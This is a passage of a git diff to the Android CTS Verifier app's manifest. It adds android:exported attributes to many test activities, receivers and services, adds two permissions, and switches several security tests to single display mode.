 LOCAL_SDK_VERSION := current
 LOCAL_MIN_SDK_VERSION := 19
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 47dd4f5..5f39461 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -38,6 +38,7 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.FULLSCREEN" />
+    <uses-permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.NFC" />
     <uses-permission android:name="android.permission.NFC_TRANSACTION_EVENT" />
@@ -83,6 +84,11 @@
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
+    <!-- TODO(b/176993670): needed by DevicePolicyManagerWrapper to send ordered broadcast from
+         current user to system user on devices running on headless system user mode. Should be
+         removed once tests are refactored to use the proper IPC between theses users.  -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+
     <application android:networkSecurityConfig="@xml/network_security_config"
             android:label="@string/app_name"
             android:icon="@drawable/icon"
@@ -111,6 +117,7 @@
 
         <activity android:name=".admin.PolicySerializationTestActivity"
                 android:label="@string/da_policy_serialization_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -127,6 +134,7 @@
 
         <activity android:name=".admin.DeviceAdminUninstallTestActivity"
                   android:label="@string/da_uninstall_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -141,6 +149,7 @@
 
         <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
                   android:label="@string/da_tapjacking_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -154,6 +163,7 @@
         </activity>
 
         <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
+                  android:exported="true"
                   android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/tapjacking_device_admin" />
@@ -173,6 +183,7 @@
         <activity
             android:name=".battery.BatterySaverTestActivity"
             android:label="@string/battery_saver_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -186,6 +197,7 @@
 
         <activity android:name=".forcestop.RecentTaskRemovalTestActivity"
                   android:label="@string/remove_from_recents_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -199,6 +211,7 @@
 
         <activity android:name=".companion.CompanionDeviceTestActivity"
                   android:label="@string/companion_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -221,6 +234,7 @@
 
         <activity android:name=".admin.ScreenLockTestActivity"
                 android:label="@string/da_screen_lock_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -238,6 +252,7 @@
         <activity
             android:name=".bluetooth.BluetoothTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bluetooth_test" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -263,6 +278,7 @@
         <activity
             android:name=".bluetooth.BluetoothToggleActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_toggle_bluetooth" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -291,6 +307,7 @@
         <activity
             android:name=".bluetooth.HidDeviceActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_hid_device" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -320,6 +337,7 @@
         <activity
             android:name=".bluetooth.HidHostActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_hid_host" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -345,6 +363,7 @@
         <activity
             android:name=".bluetooth.SecureServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_secure_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -372,6 +391,7 @@
         <activity
             android:name=".bluetooth.InsecureServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_insecure_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -399,6 +419,7 @@
         <activity
             android:name=".bluetooth.SecureClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_secure_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -426,6 +447,7 @@
         <activity
             android:name=".bluetooth.InsecureClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_insecure_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -454,6 +476,7 @@
         <activity
             android:name=".bluetooth.ConnectionAccessServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_connection_access_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -478,6 +501,7 @@
         <activity
             android:name=".bluetooth.ConnectionAccessClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_connection_access_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -544,6 +568,7 @@
         <activity
             android:name=".bluetooth.BleInsecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_insecure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -573,6 +598,7 @@
         <activity
             android:name=".bluetooth.BleInsecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -602,6 +628,7 @@
             android:name=".bluetooth.BleInsecureConnectionPriorityClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_connection_priority_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -635,6 +662,7 @@
             android:name=".bluetooth.BleInsecureEncryptedClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -667,6 +695,7 @@
         <activity
             android:name=".bluetooth.BleInsecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_insecure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -695,6 +724,7 @@
         <activity
             android:name=".bluetooth.BleInsecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -723,6 +753,7 @@
         <activity
             android:name=".bluetooth.BleInsecureConnectionPriorityServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_connection_priority_server_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -756,6 +787,7 @@
             android:name=".bluetooth.BleInsecureEncryptedServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_server_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -788,6 +820,7 @@
         <activity
             android:name=".bluetooth.BleSecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_secure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -816,6 +849,7 @@
         <activity
             android:name=".bluetooth.BleSecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -845,6 +879,7 @@
             android:name=".bluetooth.BleSecureConnectionPriorityClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_connection_priority_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -877,6 +912,7 @@
             android:name=".bluetooth.BleSecureEncryptedClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -910,6 +946,7 @@
         <activity
             android:name=".bluetooth.BleSecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_secure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -938,6 +975,7 @@
         <activity
             android:name=".bluetooth.BleSecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -966,6 +1004,7 @@
         <activity
             android:name=".bluetooth.BleSecureConnectionPriorityServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_connection_priority_server_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -998,6 +1037,7 @@
             android:name=".bluetooth.BleSecureEncryptedServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_server_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1031,6 +1071,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_insecure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1059,6 +1100,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1092,6 +1134,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_insecure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1120,6 +1163,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1153,6 +1197,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_secure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1181,6 +1226,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1214,6 +1260,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_secure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1242,6 +1289,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1275,6 +1323,7 @@
         <activity
             android:name=".bluetooth.BleScannerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_scanner_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1303,6 +1352,7 @@
         <activity
             android:name=".bluetooth.BleScannerPowerLevelActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_power_level_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1334,6 +1384,7 @@
         <activity
             android:name=".bluetooth.BleAdvertiserTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_advertiser_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1362,6 +1413,7 @@
         <activity
             android:name=".bluetooth.BleAdvertiserPowerLevelActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_power_level_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1381,6 +1433,7 @@
 
         <activity android:name=".biometrics.BiometricTestList"
             android:label="@string/biometric_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1398,6 +1451,7 @@
         <activity
             android:name=".biometrics.SensorConfigurationTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_sensor_configuration_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1418,6 +1472,7 @@
         <activity
             android:name=".biometrics.CredentialNotEnrolledTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_credential_not_enrolled_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1438,6 +1493,7 @@
         <activity
             android:name=".biometrics.CredentialEnrolledTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_credential_enrolled_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1458,6 +1514,7 @@
         <activity
             android:name=".biometrics.CredentialCryptoTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_credential_crypto_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1478,6 +1535,7 @@
         <activity
             android:name=".biometrics.BiometricStrongTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_strong_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1498,6 +1556,7 @@
         <activity
             android:name=".biometrics.BiometricWeakTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_weak_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1518,6 +1577,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1538,6 +1598,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1558,6 +1619,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_credential_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1578,6 +1640,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1598,6 +1661,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1618,6 +1682,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_or_credential_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1638,6 +1703,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1658,6 +1724,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1678,6 +1745,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_or_credential_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1697,6 +1765,7 @@
 
         <activity android:name=".security.IdentityCredentialAuthentication"
                 android:label="@string/sec_identity_credential_authentication_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1713,6 +1782,7 @@
 
         <activity android:name=".security.FingerprintBoundKeysTest"
                 android:label="@string/sec_fingerprint_bound_key_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1724,11 +1794,12 @@
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.fingerprint:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.ProtectedConfirmationTest"
             android:label="@string/sec_protected_confirmation_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1741,6 +1812,7 @@
 
         <activity android:name=".security.ScreenLockBoundKeysTest"
                 android:label="@string/sec_lock_bound_key_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1752,11 +1824,12 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.LockConfirmBypassTest"
                 android:label="@string/lock_confirm_test_title"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1768,11 +1841,12 @@
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.SetNewPasswordComplexityTest"
                   android:label="@string/set_complexity_test_title"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1784,11 +1858,12 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".streamquality.StreamingVideoActivity"
                 android:label="@string/streaming_video"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1809,7 +1884,8 @@
         </activity>
 
         <!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
-        <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary">
+        <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -1820,6 +1896,7 @@
 
         <activity android:name=".managedprovisioning.LocationListenerActivity"
                 android:label="@string/location_listener_activity"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK" />
@@ -1830,6 +1907,7 @@
         </activity>
 
         <activity android:name=".net.ConnectivityBackgroundTestActivity"
+                android:exported="true"
                 android:label="@string/network_background_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1842,6 +1920,7 @@
         </activity>
 
         <activity android:name=".net.MultiNetworkConnectivityTestActivity"
+                  android:exported="true"
                   android:label="@string/multinetwork_connectivity_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1858,6 +1937,7 @@
 
         <activity android:name=".nfc.NfcTestActivity"
                 android:label="@string/nfc_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2317,7 +2397,8 @@
             <meta-data android:name="android.nfc.cardemulation.off_host_apdu_service" android:resource="@xml/uicc_transaction_event_aid_list"/>
         </service>
 
-        <receiver android:name=".nfc.offhost.UiccTransactionEventReceiver">
+        <receiver android:name=".nfc.offhost.UiccTransactionEventReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.nfc.action.TRANSACTION_DETECTED" >
                 </action>
@@ -2335,6 +2416,7 @@
 
         <!-- Service used for Camera ITS tests -->
         <service android:name=".camera.its.ItsService"
+            android:exported="true"
             android:foregroundServiceType="camera">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.camera.its.START"/>
@@ -2348,6 +2430,7 @@
         -->
         <receiver android:name=".sensors.helpers.SensorDeviceAdminReceiver"
                 android:label="@string/snsr_device_admin_receiver"
+                android:exported="true"
                 android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/sensor_device_admin" />
@@ -2358,6 +2441,7 @@
 
         <activity android:name=".sensors.AccelerometerMeasurementTestActivity"
                   android:label="@string/snsr_accel_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2374,6 +2458,7 @@
 
         <activity android:name=".sensors.GyroscopeMeasurementTestActivity"
                   android:label="@string/snsr_gyro_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2390,6 +2475,7 @@
 
         <activity android:name=".sensors.HeartRateMonitorTestActivity"
                   android:label="@string/snsr_heartrate_test"
+                  android:exported="true"
                   android:screenOrientation="nosensor">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2404,6 +2490,7 @@
 
         <activity android:name=".sensors.MagneticFieldMeasurementTestActivity"
                   android:label="@string/snsr_mag_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2417,6 +2504,7 @@
         </activity>
 
         <activity android:name=".sensors.OffBodySensorTestActivity"
+            android:exported="true"
             android:label="@string/snsr_offbody_sensor_test">
 <!--            <receiver android:name="com.android.cts.verifier.sensors.OffBodySensorTestActivity$AlarmReceiver"></receiver>-->
             <intent-filter>
@@ -2431,6 +2519,7 @@
             android:name=".sensors.RVCVXCheckTestActivity"
             android:keepScreenOn="true"
             android:label="@string/snsr_rvcvxchk_test"
+            android:exported="true"
             android:screenOrientation="locked" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2459,6 +2548,7 @@
         <!-- TODO: enable when a full set of verifications can be implemented -->
         <!--activity android:name=".sensors.RotationVectorTestActivity"
                   android:label="@string/snsr_rot_vec_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2471,6 +2561,7 @@
 
         <activity android:name=".sensors.BatchingTestActivity"
                   android:label="@string/snsr_batch_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2485,6 +2576,7 @@
         <!-- TODO: enable when a more reliable way to identify time synchronization is available -->
         <!--activity android:name=".sensors.SensorSynchronizationTestActivity"
                   android:label="@string/snsr_synch_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2497,6 +2589,7 @@
 
         <activity android:name=".sensors.DynamicSensorDiscoveryTestActivity"
                   android:label="@string/snsr_dynamic_sensor_discovery_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2511,6 +2604,7 @@
 
         <activity android:name=".camera.formats.CameraFormatsActivity"
                  android:label="@string/camera_format"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2526,6 +2620,7 @@
         </activity>
 
         <activity android:name=".camera.intents.CameraIntentsActivity"
+                 android:exported="true"
                  android:label="@string/camera_intents">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2545,6 +2640,7 @@
 
         <activity android:name=".camera.orientation.CameraOrientationActivity"
                  android:label="@string/camera_orientation"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2563,6 +2659,7 @@
             android:name=".camera.fov.PhotoCaptureActivity"
             android:label="@string/camera_fov_calibration"
             android:screenOrientation="landscape"
+            android:exported="true"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
             <intent-filter android:label="@string/camera_fov_calibration" >
                 <action android:name="android.intent.action.MAIN" />
@@ -2597,6 +2694,7 @@
 
         <activity android:name=".camera.video.CameraVideoActivity"
                  android:label="@string/camera_video"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2615,6 +2713,7 @@
                   android:label="@string/camera_its_test"
                   android:launchMode="singleTop"
                   android:configChanges="keyboardHidden|screenSize"
+                  android:exported="true"
                   android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2631,6 +2730,7 @@
 
         <activity android:name=".camera.flashlight.CameraFlashlightActivity"
                   android:label="@string/camera_flashlight_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2646,6 +2746,7 @@
 
         <activity android:name=".camera.performance.CameraPerformanceActivity"
                   android:label="@string/camera_performance_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2662,6 +2763,7 @@
         <activity android:name=".camera.bokeh.CameraBokehActivity"
                   android:label="@string/camera_bokeh_test"
                   android:configChanges="keyboardHidden|screenSize"
+                  android:exported="true"
                   android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2677,6 +2779,7 @@
 
         <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
                 android:label="@string/usb_accessory_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2690,7 +2793,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".usb.accessory.AccessoryAttachmentHandler">
+        <activity android:name=".usb.accessory.AccessoryAttachmentHandler"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
             </intent-filter>
@@ -2704,6 +2808,7 @@
 <!-- Temporary disabled b/c of incorrect assumptions in part of the test: b/160938927
